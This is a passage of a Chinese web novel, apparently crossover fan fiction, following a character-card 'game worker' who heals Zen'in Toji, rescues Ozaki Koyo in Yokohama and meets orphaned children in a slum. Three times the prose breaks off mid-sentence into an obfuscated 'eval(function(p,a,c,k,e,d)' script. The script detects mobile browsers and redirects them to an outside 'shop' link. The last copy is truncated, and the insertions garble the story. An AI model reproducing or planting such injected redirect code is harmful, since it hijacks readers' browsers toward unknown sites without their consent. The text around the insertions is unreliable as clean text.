听到挚友的话,夏油杰思索:“莫非是情人?隐不是说过他喜欢身材好的男人吗?” 五条悟反驳:“怎么可能!隐也说过他讨厌比他高的人。” “那明显就是隐忽悠你的话吧。” “……” “……” 他什么时候说过这些话了? 顺手在夏油杰身上塞了个窃听器的伏黑隐诧异。 他摘下耳机,让搭档回收了窃听器。 扫描了五遍也没发现问题的搭档:[这不应该啊……他们都是在正常时间线上成长的。] 这就更诡异了。 [世界也说没有出问题,不可能是我出问题吧?] 角色卡丢错时间线了? 那他们也应该只认识那张角色卡啊。 想不明白的伏黑隐顶着变成鸟窝的卷毛,提着行李箱走出了学校。 戴着眼镜的辅助监督已经等候在了山下。 见到伏黑隐,辅助监督推了推眼镜,走上前帮忙提起行李箱。 伏黑隐后退几步,他不可思议地打量了一番辅助监督,最后,做贼般小声问:“……孔时雨?” 孔时雨嗯了一声,将行李箱放进后备箱:“怎么认出来的?” 认出是熟人,伏黑隐打开车门,他毫无形象地瘫倒在后座说道:“就这样看出来的啊。” 搭档:[呵,还不是我帮你扫描出来的。] 神隐:[闭嘴。] 视野倒转,伏黑隐看到驾驶座上好像还有一个人。 是禅院甚尔。 “你们不怕被发现吗?” 少年的声音有气无力。 “不会。”等到孔时雨上车,禅院甚尔启动引擎,语气闲适,“你不生气?” 伏黑隐疑惑:“生什么气?” “我擅自过来,不生气吗?” 毕竟之前吵架,伏黑隐说过再不理他之类的话,虽然知道是气话,但是……幽深的绿色眼睛透过后视镜,肆无忌惮窥视着后座的人。 总得再问问不是吗? 少年灿金色的眼睛半垂不落,明显没有睡醒,他从旁边的袋子里翻出薄毯,斜躺在了座位上,“你又不会害我。” 况且早就知道这件事了,除了不知道孔时雨会顶替辅助监督来接他之外,没什么好诧异的。 儿行千里父担忧嘛。 “我不吃午饭,不用喊醒我。”来到高专后,每天平均只睡三个小时的伏黑隐长长地打了个哈欠,他似乎完全忘记了之前吵过的架,“终于可以睡个好觉了。” 17. 第 17 章 伏黑隐醒来的时候,正躺在自己卧室的床上。 睡衣领口歪斜地敞开着,他伸手理了理,摸索到枕边的手机按亮屏幕,看了眼日期。 他这一觉睡了两天。 睡爽了。 在刚睡醒的时候,不管困不困,伏黑隐都不怎么睁得开眼,所幸这个公寓的布局他还算熟悉。 他眯着眼睛摸到门把,拉开门,习惯性地寻找津美纪和伏黑白的身影,没看到,又站在原地醒了会儿神,才后知后觉想起这里不是京都的房子,是他在东京购置的二居室。 他之前陪着禅院甚尔到处跑,东京是最常落脚点地方,久而久之,就干脆在东京买下了同个楼层相邻的两套公寓。 其实这里本来也是三居室来着,但户型不如京都那边的宽敞,伏黑隐索性将一间空卧室改成了储物室。 方便和驻扎东京的孔时雨聊合作,津美纪,小白和小惠平日都住在隔壁。 他这一觉睡得有点久,这个时间,刚结束一个悬赏回来的禅院甚尔已经把三个孩子送去孔时雨那里了。 从前经常和禅院甚尔东奔西走,伏黑隐便和孔时雨谈了笔交易——在他们没有空、抽不开身的时候,都会拜托孔时雨帮忙照看孩子。 在巨额抚养费的诱惑下,孔时雨爽快地应下了。 伏黑隐打了个哈欠。 已经是傍晚了,明天去把他们接回来吧。 客厅里电视的声音有些大,不过还在接受范围里。 再次被困意席卷意识的他晃到冰箱前,粗略扫了一眼里面的食物,从里面取出三明治和可乐,半闭着眼睛瘫进沙发。 看到是赛马节目,他咕哝了一句:“又在看这个……” 禅院甚尔。 究极赌马爱好者。 偏偏手气奇差,百赌不赢。 相识的这两年,伏黑隐这个对赌马一窍不通的外行都偶尔能撞上好运,赢上那么一两次,就是没有见禅院甚尔赢过一回。 常常上一秒赚了十万块,下一秒就输了二十万,入不敷出,偶尔会贫困潦倒到试图通过勾引伏黑隐来得到赌马资金。 而每笔悬赏金只能得到百分之五的伏黑隐会装作看不见。 于是在无所事事又囊中羞涩的日子里,禅院甚尔就窝在屋里没完没了地看赛马节目,伏黑隐跟着看过几次,只觉得解说员的声音格外助眠。 “这种东西有什么好看的。” 他摸索着从身旁那人手里抽走遥控器,随手切了个频道,拆开三明治包装咬了一口,打算吃完再去补个回笼觉。 “就吃这个?” 旁边传来懒散的声问话,带着显而易见的嫌弃,禅院甚尔看起来十分瞧不上对他这顿“早餐”。 伏黑仰头灌了口可乐,“冰箱里只剩这些了。”而他对此并不挑剔。 ——“前辈,请和我交往吧!” 电视机里忽然传来一句轰轰烈烈的告白,伏黑隐抬眼,才发现自己无意间切进了某部校园恋爱剧,他食指悬在遥控器上,停顿一秒,按下了切台键。 “我在天空中流浪,找寻着所在意的一切,直到遇见你,我才发现……” 幻想恋爱剧。 切台。 “你只是没了一只手,而他……” 苦情虐恋剧。 切台。 “男人,你成功……” 霸总追妻剧。 切台。 继续切台。 伏黑隐盯着荧屏上不断闪动的光影,最后到了头,又回到了一开始的赛马节目。 “……今天什么情况。” 伏黑隐怀疑自己还在梦里。 不然怎么会连新闻频道也在播偶像剧? 身侧传来一声轻笑,禅院甚尔顺手取走被他咬过一口的三明治,嗓音里带着显而易见的戏谑:“看来你很久没有看过电视了。” “哪有时间看啊。” 空闲的时间都在打游戏和补觉。 伏黑隐扣住对方手腕,试图夺回食物,“你要吃自己去冰箱拿,不要抢我的。” 力气远远比不过天与暴君的伏黑隐没成功。 费时费力白忙活一番的少年拧紧眉头,不满地看着他,声音里染上薄怒:“禅院甚尔,还给我!” 这自上而下的视角下,那双眼眸里还带着初醒时的朦胧,像泛起金芒的水面波光粼粼,比起愤怒,更像是在无意识地与人撒娇。 禅院甚尔低着头,手臂突然动了。 伏黑隐还没反应过来,就被一股力道带着向前倾倒,短暂失重后,他整个人都被对方圈进了怀抱里。 “禅院甚尔!” 他愤怒地抬起头,意外撞上方没有遮掩的眼瞳。 在男人凝视着他的眼睛里,伏黑隐看到一片泥稠幽僻的绿色湖泊。 里面似乎藏着些什么要将人拖进深渊的情绪。 伏黑隐愣了一会儿,突然感觉眼尾一痛。 带有厚茧、触碰起来十分粗粝的指腹擦过他的眼角,几个呼吸之后,试图在这片金色星河里找到什么的人落下一声挫败的叹息。 他转而不紧不慢地揉弄着少年雪白的卷发,不再让那双眼睛看向自己:“还是那么弱,看起来咒术师的东西也一点没有用啊,隐。” “……我只是个医生!” 伏黑隐挣扎着想抬头,却被更用力地按回那个坚实的胸膛,禅院甚尔重重地揉了揉伏黑隐毛茸茸的头顶,使坏般让这一头蓬松的卷发更加凌乱了。 在少年终于受不了、抬起手拍打他的手背时,始作俑者才慢吞吞收回了手。 “这就是疏于锻炼的后果。” 伏黑隐用力地推了他一下。 “出去!” 他指着玄关处赶人。 “这房子我也出了钱。”禅院甚尔说。 伏黑隐再次瞪了一眼仰面倒在沙发上的男人,重新从冰箱里拿了一个三明治,头也不回地往房间里走去。 - [呵,又想骗老子的钱。] 神隐冷笑一声。 他看起来有那么像冤大头吗? [你不是喜欢这种吗?]搭档倒觉得无所谓,这个世界的钱又不能用到商城上,[就当黄油玩了。] 在他们的世界,全息游戏多少都涉及点这种剧情,也不是什么见不得人的东西。 神隐表示自己氪不起。 色字头上一把刀,他暂时还没有成为冤种的打算。 - 但是实话实说,禅院甚尔做饭真的很好吃。 特别是在他心情好的时候。 当诱人的饭菜香从门缝钻进来时,原本打定主意不理睬对方、正窝在床上与搭档追剧的伏黑隐,还是不争气地打开了房门。 - [我就说他把我当儿子了。] 对于搭档所言的“禅院甚尔看上他了”的猜想,神隐不怎么相信。 [即使吵架也舍不得让人饿肚子,这不是父爱是什么?] 这家伙在两年前都还不乐意记男人的名字,刚认识的那两个月,禅院甚尔叫过他伏什么黑,隐什么伏,甚至还叫过伏黑灰,伏黑金,还有伏黑黑。 后来才勉勉强强记住了隐这个名字,偶尔还是会喊错。 所以说两年时间爱上一个同性,这样的发展对于禅院甚尔而言,未免太过魔幻了吧。 要说看上他这么些年的存款,特意勾引骗人钱还说得过去。 [难道他把只小四岁的家伙当儿子不魔幻吗?!!]搭档同样不相信神隐的脑回路。 是的,小四岁。 伏黑隐今年其实二十三了。 二十三岁,但高专准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553965|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一年级生。 咳。 反正除了禅院甚尔,没人知道他的真实年龄,给他安排学籍的总监会都没有异议。 四舍五入伏黑隐就是十六岁。 …… 他绷着脸走到餐桌前。 禅院甚尔刚好从碗柜取出餐具,看见他时眉梢轻挑:“不生气了?” 伏黑隐抿紧嘴唇不作回应,自顾自盛了饭。 被刻意冷落的男人也不恼,带着若有似无的笑意坐在他身旁。 两个人吃饭的时候都默契地保持了安静。 在没去高专之前,他们一般都是一个人做饭,一个人洗碗,就和接悬赏的时候禅院甚尔杀人,伏黑隐处理痕迹一样分工明确。 这个习惯一直没改。 伏黑隐吃的要比禅院甚尔慢很多,他吃完的时候,下意识地收拾碗筷,指尖触到对方碗沿时突然怔住——自己不是在生气吗? 他装作什么都没有发生的样子迅速放下碗筷,一扭头就对上禅院甚尔似笑非笑的神情。 “看什么看啊!”少年耳根微热,恼羞成怒地瞪他。 这就是伏黑隐和禅院甚尔相处的日常。 在和禅院甚尔相处的时候,伏黑隐的情绪永远处于两个极端。 但大多时候,他都是根据自己设定的人设演出来的,生气时其实没什么实感。 而伏黑隐的演技算不上好,和高专时一样多少有点用力过猛,表面上呈现的,便是伏黑隐的气来得迅猛去得也干脆,很多时候常常还没发觉,他就已经气消了。 于是在当天晚上,伏黑隐就和禅院甚尔“和好”了。 已经成为咒术师的伏黑隐自然不会再去接悬赏,但禅院甚尔的工作还在继续。 深夜,浑身是血的男人敲开伏黑隐的房间。 “医生应该还愿意治疗我这个诅咒师吧。” 在伏黑隐骤然慌乱的注视下,禅院甚尔嘴角扯出一个笑,随即重重栽倒在地。 - 神隐是真的有点慌。 [我靠,世界,这是你做的?] 他的脑海中,搭档震惊的问询响起。 世界:[没有啊,我这段时间在关注另一个孩子。] 听到解释,神隐不慌乱了。 他冷漠地回复道:[那就是这家伙自己弄的。] 谁能在天与暴君身上弄出那么严重的伤? 除了世界和领悟反转术式的五条悟,也就只有天与暴君自己了。 看着躺在地上生死不明的人,神隐努力抑制住深夜加班的狰狞表情,“看在你当了我那么久保镖的份上。” 他说着,对禅院甚尔使用了术式。 治愈与净化,这个其实算不上术式,听世界意识说,这是来自千年前与咒术同源异路的某种道法,传承已经消身匿迹,神隐就将它伪装成了自己的生得术式。 从左肩一直划到腰腹的狰狞刀伤以肉眼可见的速度迅速愈合结痂,很快脱落下来,再无痕迹。 神隐盯着地上躺着的人,还是没忍住摸了一把,入手的触感极好,他又顺手捏了捏。 “这算趁人之危的揩油吧。” 看着仍然闭着眼睛,对他动作毫无反应的男人,伏黑隐低声嘟囔着,“话说天与咒缚在地上睡一晚上,应该不会出事吧。” 但最终还是没让人就这样睡在走廊上,拖不动人的伏黑隐从柜子里抱出一床被子,将禅院甚尔盖的严严实实。 做完这一切,少年才打着哈欠爬上床。 在高专近乎全天无休的伏黑隐即使回家之后也一直维持着疲惫状态,这种深入骨髓的疲惫,不是单靠一场睡眠就能缓解的。 他将自己裹进被子,很快闭上了眼睛。 房间重归宁静,唯有夜风偶尔拂过阳台,带动窗帘轻抚地板发出的细碎摩擦声。 18. 第 18 章 横滨—— 雨是夜幕降临后开始滂沱的。 起初只是敲打着仓库铁皮屋顶的细碎声响,很快便演变成吞没一切的风暴。 急促的脚步伴着枪炮声响彻在雨幕,在逃亡的人眼中,这突如其来的骤雨绊住了他们奔向光明的路。 湿透的和服下摆贴住少女脚踝,浸满了暗色的血液,她紧紧攥着爱人的手,在雷声滚过的暗巷里奔逃,两人的体温在雨水的冲刷下飞速流逝着。 最后,他们停步在一道道漆黑的枪口前。 黑衣服的追兵从三个方向迫近,不说话,不叫骂,沉默地收拢包围,雨水顺着锋刃流淌,刹那间亮起的闪电映出少女苍白的脸。 冷透骨髓的暴雨已将他们吞噬。 剑刃的寒光切开雨幕,她用尽最后的力气将身受重伤的青年护在身后,背脊撞上冰冷潮湿的砖墙,退无可退。 少女同样一身狼狈,握着剑的手因脱力而发抖,但她不敢放下剑,零散的红发紧贴在颈间脸侧,如洒满血液的细蛇攀爬在肌肤上,贪婪吞噬着主人的生命力。” “红叶大人,首领愿意原谅您的叛逆。” 追兵的领队缓缓举刀,刀尖在雨中划出残酷冰冷的弧线,“只要您交出叛徒,并接受惩罚。” “……” 这是一条肮脏的小巷,堆积的垃圾在雨中发酵,几欲作呕的气味弥散进所有人的鼻腔。 这里不是他承诺的海岸,不是她梦想的黎明,没有明媚阳光,馥郁花香,雨滴砸进少女不肯闭上的眼睛里,是酸涩的痛意。 身后的青年闭上眼,在陷入昏迷前在她的耳边说了什么,似乎是对不起,又好像是没关系,雨声太大太急,尾崎红叶听不清。 她短暂得到的自由像是一场幼稚的闹剧。 巨大的人形异能力在交叠的影子后浮现,它随着主人的意识举起棍剑。 但人总是固执的。 必须撞得头破血流,一无所有,才愿意去接受这残酷的现实。 红发少女喘着粗气,拼尽全力挥下一剑—— 突然,雨声变了。 原本均匀敲打着地面的雨幕忽然凝固成冰,冰面一寸寸蔓延,以肉眼可见的速度攀爬上外围几人的小腿。 比夜色更深的黑影如鬼魅般切入战场,金属交击的锐响穿透雨幕。 金色夜叉被刀背拍开,本就坚持不了多久的异能力被巨力嵌进砖墙,碎裂开的石块划破皮肤,溅射出灼目的红。 “……” 在这一刻,不管是逃亡者还是追捕者都不约而同地僵住了。 从天空滴落的雨在经过某个地方时凝结成冰,砸在夜行人挺直的脊背上。 突兀出现在巷子里的青年抬眼,霜雪夜般的冰蓝色眼瞳转动,扫过尾崎红叶紧缩成针的瞳孔。 “嗯?”他将剑挪开,封着冰天雪地的眼睛也从尾崎红叶身上移开,“认错了。” “抱歉啊。” 轻盈的字句随着雨飘落,惊不起波澜,辨不清真假,青年转身背对着她,“作为歉礼,我帮你对付他们吧。” …… 他其实没有做什么,只是举起了手中镶嵌着宝石的剑。 刹那间,来自凛冬的风雪压过身躯,吹拂过不停跳动的心脏,将其冰冻,再如踩踏过的薄冰碎裂。 尾崎红叶感觉到心脏猛地停了一瞬。 自小被以干部标准培养的她自然不是好对付的人,首领派来追捕的人均是精挑细选过的黑手党成员,能够找到、并拦住她的,全部都是异能力者。 而他们现在都死了。 像拍死一群蚊子一样,毫不反抗地死去。 雨水里的生命有多沉重? 和裹满水的塑料袋相差无几。 重重的落下,激起一片水花,随后再无动静,他们安静地躺在那里,等待同类的清扫或异类的啃食。 尾崎红叶不知道自己怎么离开的那里。 等她从那场连“对战”都称不上的战斗中回神时,自己已经换好衣服,与伤势痊愈的爱人间贯一等候在了站台。 他们提着不大不小的行李箱,与周遭的人没什么差距。 尾崎红叶看着手上,那个在极短时间内治好他们伤口,带着他们换好衣服,最后替他们购买了车票的青年留下的“请求”。 这是一张半身照。 黑发黑眼的男孩面无表情盯着镜头,他没有穿上衣,露出的皮肤上不规则地缠着绷带,穿插在一道道尚未结痂的伤口中。 照片背面写着一串地址,这是他们将要前往的地方。 ——保护好他,于现在的你们而言,这会是一个不错的工作。 尚还夹着霜寒的冷风吹动青年灿金色发丝。 那是太阳的着色。 脱离战斗后,青年眉目间的神态平缓下来,显出几分冬日晴空稀薄的暖意。 “你将照片后的字迹拿给他看,他就会明白是怎么一回事了,他是一个聪慧的孩子。” “你们不会讨厌他的。“ 至少不会是比从前糟糕的日子。 尾崎红叶想。 …… ……… 不会有比现在更糟糕的情况了。 被迫四开的神隐想。 这是一次不在行程上的突发事件,世界意识也是在两个小时前才发现,原本排在很后面的事情是在今天发生的。 伏黑隐和伏黑白自然不可能去救人。 被世界告知这条令神隐五雷轰顶的消息时,他正带着自己的妹妹,自己的小号,还有未来的弟弟在水上乐园愉快地玩耍着。 [快快快,我们一起下去!] [OKOK,我进来了!] 夏日的风裹挟着水的清凉,吹起伏黑隐雪白的发丝,他站在滑道起点,这里是水上乐园最高的地方,往下眺望,整个水上乐园一览无余。 抱着装有搭档意识的橡皮鸭,伏黑隐按照工作人员指示在垫子上坐稳,抓住前面的拉环,在心里芜湖一声进了滑道。 水流瞬间包裹住他,水垫沿着蜿蜒的管道急速下坠。 [他们怎么能想出这样好玩的东西!] [哇哇哇——我要让老板也弄一个这样的地图玩!] 第一次体验这种项目的两个人都非常激动,水花四溅,畅快淋漓的冰凉浇盖住少年激动的脸庞。 [老板弄的话,会不会在滑道里安一个十字刀片?] 搭档的欢呼声停滞半秒,随即大声喊:[这种时候不要说这种恐怖的事情啊!!!] 而就是在这个时候,该死的甲……世界出现了。 原本清凉的缓冲池也变得有些刺骨,伏黑隐眨巴眨巴眼睛,好像明白了他的同事们为什么对这次出差避之不及。 不提世界间的壁垒,在那么多人看着的情况下,他们也不能凭空消失,特别是禅院甚尔和小惠还在旁边。 至于藤原千学。 那就更做不到了。 在与江户川乱步同吃同睡的日子里,藤原千学的作息也变得与他相同,这个时间点也绝无可能醒过来。 就算醒过来了,也会被旁边的江户川乱步察觉到,然后又把人重新按回床铺里。 自从那次“叛逆”之后,虽然嘴上不说,但不论是福泽谕吉还是江户川乱步,都在密切关注着藤原千学的行为举止,生怕他哪天再想不开离家出走。 甚至连家里客厅都安装上了监控…… 藤原千学怀疑,福泽谕吉一定还在耿耿于怀那天他没有说出到底是谁的事情。 总之,现在的藤原千学要想在夜晚独自出门,必然是不可能做到的了。 而且就算过去了。 也只是死一个和死两个的区别吧。 犹豫不决、想了又想、再三思索的神隐还是开了第四张角色卡。 …… 『骑士—云霄』 阵营:旁观者 ——骑士知道自己在守护着什么。 世界濒临毁灭,他将与挚友背道而驰/并肩前行,在游戏里,骑士的技能为『剑盾』: 游戏开始后,『骑士』将选择一个阵营。 每晚可以标记一名玩家,如果当晚那名玩家被攻击(不分阵营),那么袭击者死亡,如果没有被袭击,则标记无效,不会触发任何效果。 一场游戏,同一个玩家仅能被标记两次,且第二次会因『骑士』身受重伤变为仅保护,无反击能力。 【获胜条件:所保护的阵营人数与自己齐平时,『骑士』胜利。】 剧情结束,十三个玩家中名声最高者会得到这个身份。 和『武者』一样,神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553966|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐还没想好西园寺鸣月的异能力,时间紧急,他连人物锚点都没设定就将角色卡投放了下去。 『黑白游戏』的十三位员工都是创始人从不同的世界招来的,云霄的原生世界是一片永夜的雪国。 成长在雪国,终生和冰雪与黑夜相伴的云霄是员工里性格最好的一个。 诚实,守信,谦良,相信好事得好报,常常从原生世界里带特产分给其他员工。 做饭也好吃:P 只是神隐没来得及立起人设,就已经把遇见的第一个人吓到了。 刚刚解决掉麻烦,一扭头,差点被金色夜叉捅个对穿的神隐叹口气。 没办法,事情着急,他根本没看世界传过来的资料,于是也不知道这金色夜叉是尾崎红叶的异能力。 看见这种,神隐就想到了咒灵,一想到咒灵,就下意识把它划分到敌人范畴了。 好说歹说,终于让他们相信了自己的说辞,也终于让他们接受了治疗。 神隐临时在能力设定上添了个『治愈』,三两下把人的伤势治好,又实在看不下去两人的着装,让搭档买了两套衣服。 “您想让我们做什么?” 听到间贯一的问话,正准备去找个地方挂机的神隐扭头,对上青年含着警惕的眼睛,他脚步一转,重新坐回酒店的椅子上。 “嗯……” 想着反正也没什么形象可言了,神隐翘着二郎腿思考顷刻,“也对,你们现在没事做了。” 按世界提供的剧情,眼前这个一醒来,就拉着人退到他第一时间攻击不到的地方去的青年,在今天过后就会被港口黑手党的首领杀死。 尾崎红叶也被勒令不准离开港/黑大楼一步。 但现在没事了,他们也暂时成为无业游民了。 搭档想到一个坏点子:[送他们去学者那边吧!] 神隐觉得这样也行,就问他们愿不愿意给人打工。 等同意之后,神隐就将提前准备好的照片拿出来,那是前段时间拍新活动PV时留下的剧照,正正好那个活动里,千页的年龄要比平时小一些。 “保护好他。”神隐说,从身上翻出一张卡,放到桌子上,“于现在的你们而言,这会是一个不错的工作。” 一个月二十万,是个人都会觉得不错吧。 神隐也不觉得他们会拒绝。 离开之前,尾崎红叶突然叫住神隐,问他的名字。 “要是那位小先生问及您的姓名,我们也才答得上来。”她说道。 神隐这才想起来这张角色卡还没名字。 已经撑开伞踏入雨中的青年抚摸着剑柄,他想到之前在哪部剧里有个角色姓西园寺。 这个姓不错。 就它了。 “我叫西园寺鸣月。” 西园寺鸣月自我介绍道。 …… 搭档:[要不然去当雇佣兵吧,钱多事少。] 离开酒店之后,神隐和搭档就在讨论这个角色的设定,[我觉得黑手党也很酷。] 云霄本身也是杀手组织出生,后面努力奋斗,奋斗成王国继承人了,中间的故事云霄和神隐讲述过,有点漫长,也有点奇幻。 他知道云霄应该不会抗拒黑手党此类身份。 而神隐还没当过黑手党。 一开始给藤原千学的设定就是天生黑手党。 聪明听话,善恶无谓,除了爱撒点小慌、容易生病外几乎没有缺点,还只会恐惧除监护人之外的成年人。 这是一把已经磨好的利刃。 森鸥外完全拒绝不了的人设。 武装侦探社其实没什么需要干涉的地方,他们本身就是救赎人的一方,神隐就没想过去接触侦探社的人。 被乱步捡到是意料之外的事情。 但也不错。 不然现在他真还不知道该把尾崎红叶送到哪里去。 总不能送人去异能特务科里关着吧。 通过搭档提供的路线,西园寺鸣月推开一栋小破屋的门,将里面窝着的人全部踢出门外。 他心安理得地躺在吊床上,将设定界面投屏到面前,和搭档讨论着要不要编一个黑手党家族。 就在他和搭档编到父亲是名震一方的血腥孤狼时,世间意识冷不丁插入话题:[您想当干部吗?] 19.第 19 章 尾崎红叶算是一个重要角色,中原中也前期在港/黑的成长离不开她,但已经救下了间贯一,对光明一方仍旧存在向往的尾崎红叶自然没可能再回去了。 神隐打算让这张角色卡成为黑手党,世界想了想,觉得可以直接成为港口黑手党的干部。 只要把老首领和高层的认知替换修改,让他们的记忆里多出“西园寺鸣月”这一位不怎么出现的干部就可以了。 对于现在的世界意识而言,有些麻烦,但并不困难。 听到世界的提议与想法,神隐合计着也可以。 听说这个比首领酷,还比首领轻松。 不会脱发也不用害怕暗杀。 [那就靠你了。] [好的。] 世界意识说了一个大致改变完成的日期,便没有再打扰神隐的工作了。 …… ………… 西园寺鸣月被绑架了。 抽出精力让藤原千学领着尾崎红叶两人回到公馆后,才进入到西园寺鸣月这张角色卡里,打算好好逛一逛擂钵街的神隐一睁眼,就看到自己被五花大绑着扔到了角落里。 角色卡默认的长款风衣上全是淤泥与水渍,像是揉进了泥水里洗涮了一遍,很脏,神隐重新回到总控空间站,从搭档的监控中发现是一群小孩子做的。 看着上面最大十二岁、最小七岁,衣衫褴褛面黄肌瘦的几个孩子艰难地把西园寺鸣月从吊床上挪下来,费尽心思试图弄死自己无果,又匆匆离开再没回来,神隐沉默片刻,倒没生气。 “有那么重吗?” “一群营养不良,饿了好几天的小孩子能有多大力气。”在床上躺了一整天的搭档抓抓头发,叼着磨牙棒坐过来,“你身上的剑都有五十斤。” ”但是他们绑的好熟练啊。” “贫民窟嘛,绑架,抢劫和偷盗这种事情很正常。” “有道理。” 西园寺鸣月现在还是黑户,没有房子住,他就去擂钵街随机抢了个没主人的房子。 确实,在擂钵街烧杀抢掠算不上什么震惊的事情。 神隐撑着下巴,让监控视野跟着那几个孩子走。 他们搜刮完角色卡大衣口袋里的物品,又看上了身份牌默认的武器。 看着几个小屁孩死活取不下来西园寺鸣月身上的剑,想重重踹几脚撒气,但又顾及着把人弄醒,只敢不重不轻原地跺脚的行为,神隐觉得有些好笑。 “胆子好小啊。” “毕竟是幼崽。” 可能是初生牛犊不怕虎,也可能是实在苦饿到没有办法,没过一会儿,年龄最大的少年拿着匕首走近,准备撬开青年剑柄上的蓝宝石。 那把匕首应该用了很久,有着两道缺口的刃面有点钝,看起来连水果都要切半天。 他忙活了很久,刀尖也落不进与宝石严丝合缝的剑柄里。 就在少年气馁地将匕首扔在地上,泄愤般踩了一脚时,旁边突兀地响起一道声音。 “连人都杀不死的武器,怎么可能让剑上的宝石脱落呢?” 青年的嗓音隐隐带着笑意,话语本身没什么恶意,但对本就敏感警惕的人而言,无异于深夜响起的鬼怪低语。 棕黄发色的少年惊恐地后退了好几步才抬头,蓦然对上一双从大雪中诞生的冰蓝色眼眸。 一身狼狈也不掩高贵气质的青年伸出指尖,勾起绑住双手的绳索,继续说道:“想要钱财的话,可以帮我松松绑吗?” “我身上还有很多值钱的东西,可以全部用来交换我的自由。” 嘴上说着请求,金发青年面上却带着笑,他有着一张俊朗深邃的面容,如同雕刻家精雕细琢出的石像,不管是谁,第一眼看见时都会恍惚片刻。 他没在意身上的脏印,似乎也没看见少年重新握紧的匕首。 “可以吗?” 被束缚着的人说出请求,精致到不似人类的脸庞露出笑,本该像雪一样冰凉的眼睛里也盛起春暖花开般的笑意。 握着匕首的少年盯着青年眼睛,沉默良久才开口道:“你会骗我吗?” 按照平日里的经历,这个问题是不应该问出来的。 成年人的世界多是虚伪狡诈,被拆穿偏局,他可能不会死亡,但自己要是相信了,指不定会得到什么下场。 人不可貌相,他见证过很多悲剧。 很多因为相信而获得毁灭的悲剧。 但是那双眼睛…… 那是从没有在擂钵街出现过的眼睛。 在愣神的时候,有什么东西落在了地上,耀眼的光芒在视野中一闪而逝,回过神的少年低头,往声响发出的地方看去。 是一枚深青色的菱形宝石。 造价不菲的宝石随意地落在地面,恰好滚过一串沾着泥水的脚印,它的身上沾上了一些泥点,但丝毫不影响宝石本身的美丽。 少年被上面闪烁着的光彩晃了晃眼睛。 “如果怀疑我会违反承诺,那就先用它去交换一点东西吧。”金发青年说,“正好我也有点饿了,可以的话,请替我也带一点食物来。” 他脸上的笑容一直没有褪去。 “谢谢。” …… 被苦难折磨的人永远经不起诱惑。 即使那可能是引人堕入地狱的陷阱。 从擂钵街的交易所里换了食物与衣服,他将面包和矿泉水递到青年松了绑的双手上。 “只换到了这么点东西吗?”西园寺鸣月有些惊讶。 “已经很多了。”自称为野比二郎的少年说道,“我们一整年的工作,都换不到那么多的食物。” 还有衣服。 虽然也是没人要的,但总比他们捡来的要舒服一些。 听到他的解释,金发青年微微睁大了眼。 “我本来以为会再多一些。” 这比他所想的少上很多啊,那枚宝石,西园寺鸣月记得是下属花了两千万才得来的。 而且这么点东西…… 能够撑过这个月吗? “这里是擂钵街,先生。” 看出了西园寺鸣月的诧异,也看出了他对于这里的一无所知,野比二郎说:“『羊』的成员都会遭到欺负,而我们是没有组织庇佑的孤儿。” 提到自己身世时,他的表情不变,也是,擂钵街不会有完整的家庭,这里最幸福的孩子是羊群里的孩子。 “羊?” 第一次来到擂钵街的青年歪头,试图理解他口中的这个组织,“是黑手党吗?” “不是。” 野比二郎也不知道该怎么解释。 擂钵街的帮派林立,但大多数都是只有十几人的小帮派,『羊』是少数拥有众多成员的组织,但要说是黑手党,野比二郎觉得不像。 实在要形容的话,他也说不出个所以然来,所幸这位外来的先生并不在意问题的答案。 “你们平时都吃这个吗?” 西园寺鸣月手里的面包卖相不怎么好看,他猜测制造者是一位不擅长烘焙的人。 野比二郎摇头,从随身的袋子里拿出一块硬邦邦的面包块,“运气好的话,我们能吃上这个。” [这是在垃圾堆滚过一圈吗……]搭档吐槽,[细菌那么多。] [这就是贫民窟啊。] 野比二郎拿给他的面包如它外表一样丑陋噎人,西园寺鸣月拧开瓶盖,突然觉得自己拥有了藤原千学的胃口——不管是神隐还是西园寺鸣月,都是第一次吃到如此难吃的面包。 不知道如何形容。 但他不由自主联想到了之前一位诅咒师。 那是一个异食癖。 他将自己的病例单撕碎揉烂,搅进面泥里,最后在伏黑隐的眼前一口口吞下。 吃完,还一脸兴奋地向伏黑隐形容口感。 ——雨后夹杂着碎叶的泥土,在太阳底下晒干,您知道那是什么味道吗?您想尝一尝吗? 他现在知道了。 不过那位诅咒师也听不到他的感想了。 等到坐在自己对面的野比二郎解决完面包,彻底将他身上的绳子解开后,西园寺鸣月站起身,发出一声重获自由的轻叹。 “很有趣的一次经历。”他说。 想起刚才在总控空间站看到的场景,西园寺鸣月问:“你的其他同伴呢?他们有吃饭吗?” 野比二郎拿起西园寺鸣月只动了几口的面包与水,放进口袋,他犹豫了几秒钟,才说:“他们……他们在照顾受伤的同伴。” 西园寺鸣月适时地摸了摸口袋,在野比二郎心虚的目光下,他笑了一下,“看来我的金钱也拿来当赎金了。” “我们拿去换了药……他们需要药物。” 看着棕黄发少年几乎要埋进胸腔里的头,西园寺鸣月微笑着说道:“没关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 